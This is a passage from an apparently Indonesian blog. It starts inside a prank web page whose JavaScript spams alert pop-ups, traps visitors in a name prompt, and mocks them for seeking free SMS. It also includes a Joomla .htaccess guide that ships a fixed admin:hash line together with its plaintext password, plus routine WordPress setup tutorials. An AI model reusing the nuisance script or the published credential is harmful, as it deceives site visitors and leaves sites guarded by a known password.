(“Ini klik nomor 143 “) alert (“Ini klik nomor 145 “) alert (“Ini klik nomor 146 “) alert (“Ini klik nomor 147 “) alert (“Ini klik nomor 148 “) alert (“Ini klik nomor 149 “) alert (“Ini klik nomor 150 “) alert (“Ini klik nomor 151″) alert (“Ini klik nomor 152 “) alert (“Ini klik nomor 153 “) alert (“Ini klik nomor 154 “) alert (“Ini klik nomor 155 “) alert (“Ini klik nomor 156 “) alert (“Ini klik nomor 157 “) alert (“Ini klik nomor 158 “) alert (“Ini klik nomor 159 “) alert (“Ini klik nomor 160 “) alert (“Ini klik nomor 161 “) alert (“Ini klik nomor 162 “) alert (“Ini klik nomor 163 “) alert (“Ini klik nomor 164 “) alert (“Ini klik nomor 165 “) alert (“Ini klik nomor 166 “) alert (“Ini klik nomor 167 “) alert (“Ini klik nomor 168 “) alert (“Ini klik nomor 169 “) alert (“Ini klik nomor 170 “) <!– HIDE FROM OTHER BROWSERS var c = prompt (“PERHATIAN!!!saya,meyerzz,berterima kasih kepada anda while (c == null || c == ”){ alert(‘SUDAH DIBILANG ANDA HARUS MEMASUKKAN NAMA ATAU ANDA TIDAK AKAN PERNAH BISA MASUK SITUS INI’); var c = prompt(“MASUKKAN NAMA ANDA!!”,”)} var page = document.location; var ttl = document.title; alert(“HAHAHAHAHHAHAHA emang enak banget ya,, ngerjain orang bloon… “) // STOP HIDING FROM OTHER BROWSERS –> </SCRIPT> <title>You Orang Begho Ya~!</title> </head> <body><b> jauh2 sana pergi gak ada free sms! </b></body> </html> |
Filed under: Uncategorized | Tinggalkan sebuah Komentar »
Menambah Perlindungan Administrator Joomla Anda dengan .htaccess
Walaupun
halaman Administrator Joomla sudah cukup aman, tidak ada salahnya anda
menambahkan keamanan pada folder Administrator Joomla Anda dengan
menggunakan .htaccess.
Salah satu keuntungannya adalah apabila seseorang yg iseng (hacker
misalnya) mengetahui sebuah bugs pada script yg terletak pada folder
administrator joomla, setidaknya dia tidak akan bisa mengakses file
tersebut pada folder administrator Anda, karena folder Administrator
Anda telah dilindungi .htaccess
Cara membuat perlindungan ini sangat mudah.
Pertama tama buat sebuah file .htaccess dengan menggunakan notepad dan isikan code code berikut :
<Files .htaccess>
order allow,deny
deny from all
</Files>
AuthType Basic
AuthUserFile /path/to/.htpasswd
AuthGroupFile /dev/null
AuthName “Joomla Administrator Area”
<Limit GET POST>
require valid-user
</Limit>
dan kemudian upload ke dalam folder <root_joomla_anda>/administrator/
Note :
Ganti baris :/path/to/.htpasswd ke tempat Anda menyimpan file .htpasswd
Sebaiknya Anda menyimpan file ini diatas public directory (misalnya di atas folder public_html)Kemudian buat file .htpasswd dengan menggunakan notepad juga dan isikan dengan sebaris informasi seperti berikut :
admin:24IQa4hXAaLKA
kemudian upload kedalam folder, sesuai path yang telah Anda definisikan pada file .htaccess
Selesai !!..
Sekarang folder administrator Anda telah terlindungi dengan username : admin dan password : ganteng
Lho!? Darimana username dan password ini? Bukan kah pada .htpasswd ditulisnya adalah admin:24IQa4hXAaLKA ?
Tenang.. tenang, 24IQa4hXAaLKA adalah bahasa mesin dari ganteng.
Anda dapat mengganti password tersebut dengan menggenerate file
.htpasswd sendrir melalui tool – tool online htpswd generator yg banyak
tersedia di internet.
Salah satu nya adalah ini :
http://www.mreriksson.net/online/htgenerator/
Selamat Mencoba
Filed under: Uncategorized | 1 Komentar »
Langkah Panduan Cara Membuat Blog di WordPress
Beberapa hari yang lalu saya telah memberikan panduan cara membuat blog
pada layanan yang disediakan oleh bloger. nah kalau pada posting ini
saya akan berikan panduan cara membuat blog pada wordpress.com. jika di
bandingkan dengan blog pada layanan bloger,
blog pada wordpress ini mempunyai satu keunikan, yaitu model theme
yang banyak pilihannya, dan thema nya pun menurut saya lebih menarik
dibandingkan blogspot (bloger). oke untuk langlah-langkah ikuti di bawah
Mendaftar dan membuat blog pada wordpress
1. masuk ke layanan blog gratis wordpress dengan alamat http://wordpress.com, kamu akan di bawa ke halaman seperti ini
untuk tampilan default memang dalam bahasa inggris, untuk memudah
kan dalam mendaftar dan mengatur blog pada wordpress bisa dirubah ke
dalam bahasa indonesia, caranya cari tulisan Preferred Language:
kemudian cari pilihan bahasa indonesia
jika sudah dalam bahasa indonesia, sekarang kamu menu daftar sekarang
setelah kamu klik menu daftar sekarang, kamu akan menjumpai halaman seperti ini
itu adalah halaman formulir yang berguna nanti untuk mengakses blog wordpress kamu.
isilah formulir sesuai dengan keinginanmu, contoh untuk pengisian di bawah ini
masukan nama pengguna, yang mudah kamu ingat, begitu juga dengan
kata kunci, buatlah yang mudah diingat dan tidak mudah ditebak oleh
orang lain demi keamanan blogmu, masukan alamat email, beri tanda
centang pada legal flotsam, lalu kemudian klik next…
jika muncul seperti gambar di atas, berati untuk nama pengguna
“pangeran” telah dipakai orang, maka langkah selanjutnya adalah dengan
menganti dengan nama yang lain, dalam hal ini saya mengganti dengan
nama pengguna “pengranvicky” kemudian tekan next lagi
setelah berhasil, kamu akan menjumpai halaman seperti ini
coba perhatikan kolom pertama, yaitu blog domain, blog domain
maksudnya adalah sebagai alamat blog kamu nantinya, pada kolom pada
tingkat ini masih bisa dirubah, tapi setelah proses Signup nanti sudah
tidak bisa di rubah lagi, jika ingin merubah rubahlah sesuai dengan
keinginanmu, piliha nama blog yang benar-benar cocok dengan kamu,
karena nanti sudah tidak bisa di rubah lagi. kecuali jika kamu mau
registrasi lagi dari awal, nanti kamu baru bisa membuat alamat yang
berbeda.
untuk judul blog ini juga bisa dirubah, dan kalau judul blog ini masih di bisa dirubah nanti pada menu setting
untuk bahasa abaikan saja, karena kita memang memilih bahasa indonesia
kemudian klik menu Signup
kemu akan menjumpai halaman seperti ini
disitu telah dituliskan bahwa sebuah email dikirim ke
pecintacokelats@gmail.com untuk mengaktifkan akun Anda. Periksa kotak
masuk anda dan klik tautan yang ada di pesan tersebut. Email ini akan
sampai paling lambat 30 menit. Jika anda tidak mengaktifkan account
anda dalam 2 hari, anda harus mendaftarkan diri lagi
kamu ngecek emailnya nanti aja, kamu isi aja dulu sedikit identitas
kamu yang diminta pada kolom yang tersedia. sebagai contoh isinya
seperti ini
jika sudah diisi klik menu save profie
kalau sudah save profile, sekarang kamu cek email kamu.
oh ya… biasanya email lebih cepat kalau menggunakan layanan gmail, kalau di yahoo akan lama,
setelah email dari wordpress.com kamu buka, sekarang kamu klik link
yang disediakan oleh wordpress.com, seperti gambar di bawah ini
setelah link dari wordpress pada email kamu klik, kamu akan di bawa ke halaman seperti di bawah ini
halaman di atas menunjukkan bahwa account kamu telah aktif, dan
dibawahnya terdapat username dan pasword yang dapat kamu gunakan untuk
mengakses accoun kamu. dan sekarang kamu telah selesai membuat blog,
tinggal mengisi artikel saja….
untuk melihat tampilan blog kamu seperti apa, klik menu view your site
ini lah hasilnya…… kamu telah mempunya sebuah blog, pada contoh
gambat di atas, url nya adalah http://pengeranvicky.wordpress.com.
setiap pertama kali membuat blog pada wordpress pada awalnya pasti
tersedia contoh posting dengan judul Hellow word! contoh posting itu
dapat kita rubah atau kita hapus pada dashboarad area.
Membuat dan mengatur artikel pada blog wordpress.com
sebelum melangkah lebih jauh lagi, alangkah baiknya jika saya sebutkan bagian-bagian dari blog wordpress.com
1. Untuk membuat dan mengatur artikel pada blog wordpress, terlebih
dahulu kamu harus login pada dashboard area, cara nya adalah masuk ke
http://domainkamu.wordpress.com/wp-admin, pada contoh di sini adalah
masuk ke http://pengranvicky.wordpress.com/wp-admin atau bisa juga
melalui sidebar – meta – masuk log (login)
setelah itu masukkan nama pengguna dan pasword kamu
bersambung dulu……
Filed under: Uncategorized | Tinggalkan sebuah Komentar »
Cara mudah meng-install WordPress di server web hosting dengan Fantastico
![]()
October 10, 2008 |
![]()
WordPress
Menginstall
Wordpress tidaklah sulit karena pada umumnya perusahaan web hosting
sudah menyediakan fasilitas Fantastico. Yaitu sebuah paket installer
script yang ada pada control panel web hosting CPanel.
Berikut ini cara menginstall WordPress di server web hosting menggunakan Fantastico di Cpanel.
Tahap-1
Cari icon Fantastico di CPanel dan klik untuk masuk ke halaman installer.
Tahap – 2
Pada halaman Fantastico, cari link WordPress di kolom sebelah kiri dan klik untuk masuk ke halaman instalasi WordPress.
Tahap – 3
Setelah muncul halaman instalasi WordPress, klik New Installation
Tahap – 4
Pada halaman pengisian data, isilah data dengan lengkap dan benar.
Terutama ‘Admin Access Data’, karena data ini akan digunakan sebagai
login anda ke halaman administrasi WordPress. Kemudian klik Install
Wordpress.
Tahap – 5
Tunggu 3-10 detik. WordPress akan terinstall otomatis. Sekarang
silahkan anda buka website anda. Kalau instalasi berhasil, maka akan
muncul halaman wordpress dengan theme default.
Untuk mengubah setting atau memposting artikel, anda tinggal buka
www.nama-domain-anda.com/wp-admin, masukan username dan password yang
anda masukan tadi pada halaman instalasi WordPress.
Untuk mengganti theme, silahkan download dulu theme di http://wordpress.org/extend/themes/, kemudian unzip di komputer anda. Setelah di unzip, silahkan upload via FTP ke folder /public_html/wp-content/themes
Dengan Fantastico anda sudah bisa meng-install WordPress dalam waktu singkat tanpa perlu upload dan setting database.
Kalau anda belum menemukan web hosting yang mendukung Fantastico, anda bisa mencoba layanan web hosting dari Web Hosting In
Filed under: Uncategorized | Tinggalkan sebuah Komentar »



